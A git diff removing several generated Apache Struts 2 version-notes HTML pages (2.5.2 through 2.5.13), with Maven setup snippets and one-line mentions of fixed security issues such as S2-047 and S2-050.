-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.5.10.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68717259">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68717259">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68717259">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68717259">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68717259">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68717259">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.5.10.1 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-em [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.5.10.1&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.5.10.1-InternalChanges">Internal Changes</h2><ul style="list-style-type: square;"><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;Possible Remote Code Execution when performing file upload based on Jakarta plugin</li></ul><p>&#160;</p><div class="confluence-information-macro c [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2512.html b/content/docs/version-notes-2512.html
deleted file mode 100644
index e189800..0000000
--- a/content/docs/version-notes-2512.html
+++ /dev/null
@@ -1,175 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.5.12</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2512.html">Version Notes 2.5.12</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.5.12</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=71012366">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=71012366">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=71012366">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=71012366">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=71012366">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=71012366">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.5.12 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.5.12&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.5.12-InternalChanges">Internal Changes</h2><ul style="list-style-type: square;"><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;Possible DoS attack when using URLValidator, see&#160;<a shape="rect" href="s2-047.html">S2-047</a></li><li><img class="emoticon emoticon-warning" sr [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;@s.textfield name="userId" value=35/&gt;</pre>
-</div></div><p>this snippet will produce the following Html control:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;input type="text" name="userId" value="35.0"/&gt;</pre>
-</div></div><p>To resolves this problem you must add quotes around the value:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;@s.textfield name="userId" value="35"/&gt;</pre>
-</div></div><p>This is due how Freemarker treats <a shape="rect" class="external-link" href="http://freemarker.org/docs/dgui_template_exp.html#dgui_template_exp_direct_number" rel="nofollow">a number literals</a>.</p></div></div><p>&#160;</p><p>Issue Detail</p><ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12338701">JIRA Release Notes 2.5.12</a></li></ul><h2 id="VersionNotes2.5.12-IssueList">Issue  [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2513.html b/content/docs/version-notes-2513.html
deleted file mode 100644
index 1652985..0000000
--- a/content/docs/version-notes-2513.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.5.13</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2513.html">Version Notes 2.5.13</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.5.13</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=73634549">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=73634549">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=73634549">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=73634549">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=73634549">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=73634549">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.5.13 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.5.13&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Confluence" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.5.13-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;A regular expression Denial of Service when using URLValidator (similar to S2-044 &amp; S2-047), see&#160;<a shape="rect" href="s2-050.html">S2-050</a></li><li><img class="emoticon e [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-252.html b/content/docs/version-notes-252.html
deleted file mode 100644
index 6d00975..0000000
--- a/content/docs/version-notes-252.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.5.2</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-252.html">Version Notes 2.5.2</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.5.2</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65145429">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65145429">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65145429">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65145429">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65145429">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65145429">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.5.2 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoti [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.5.2&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
